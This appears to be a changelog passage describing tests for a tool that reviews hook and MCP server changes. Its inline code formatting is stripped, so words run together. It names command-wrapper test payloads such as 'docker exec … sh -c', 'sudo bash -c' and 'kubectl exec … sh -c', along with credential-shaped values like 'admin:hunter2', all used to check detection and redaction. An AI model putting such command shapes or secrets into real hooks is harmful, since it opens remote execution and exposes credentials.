tests/test_hook_mcp_detail_fields.py:difftext and JSON,verifytext,verifier.json, the PR comment, andchecktext and boundary JSON, with the rows asserted unchanged.difftext and JSON,verifytext and every file it writes (the PR comment andverifier.jsonamong them),checktext and boundary JSON, a drift payload and a saved baseline. The cycle-4 payloads are among them:docker exec … sh -c,ssh host "…",sudo bash -c,kubectl exec … sh -c, nested scripts and MCPsh -c. So are the line-continuation and URL-separator shapes.admin:hunter2,deploy@host,--pass hunter@1.2.3,--token abc@1.2.3, a token-shaped name.--secret-keyvalue and header word after a scheme are rows; values the digest input already redacts stay quiet.asynccase and the past-the-old-bound case, on every route.pr-comment.md, within 6,000 characters. The cycle-6 reproductions (two hook scripts moved under 14 and 13 events, and 16 async-only edits) keep every row heading, entry and why, the coverage block, the review question, the reproduction, the advisory and the evidence line. A property test walks every room from where the lines printed with every entry in its shortest form alone fit to where every entry fits whole, and checks that each of those lines stays and each entry is whole, cut to at least 60 characters, or in a shortest form no longer than 1.1.0's; hooks, MCP servers, an added hook and server, and permission rules among them.1followed by 400 zeros on every route; text timeouts quoted on every route,true→"true"andInfinity→"inf"among them; and a table of numbers, non-finite floats, booleans, strings and other values.argsthat is not a list.0.6baseline stays comparable, and a legacy side rendersevent → event;--save-baselinereplaces a0.6baseline and still refuses0.5; local-static and git-ignored settings put no matcher, package, digest or argument into a saved baseline.async) says it is not shown.tests/test_host_diff_review_changes.pypins the MCP sentence, which now names launch arguments. The README and quickstartdiffanswers are the published1.1.0ones again: theirbillingserver declares no package of the strict shape, so its entry is 1.1.0's.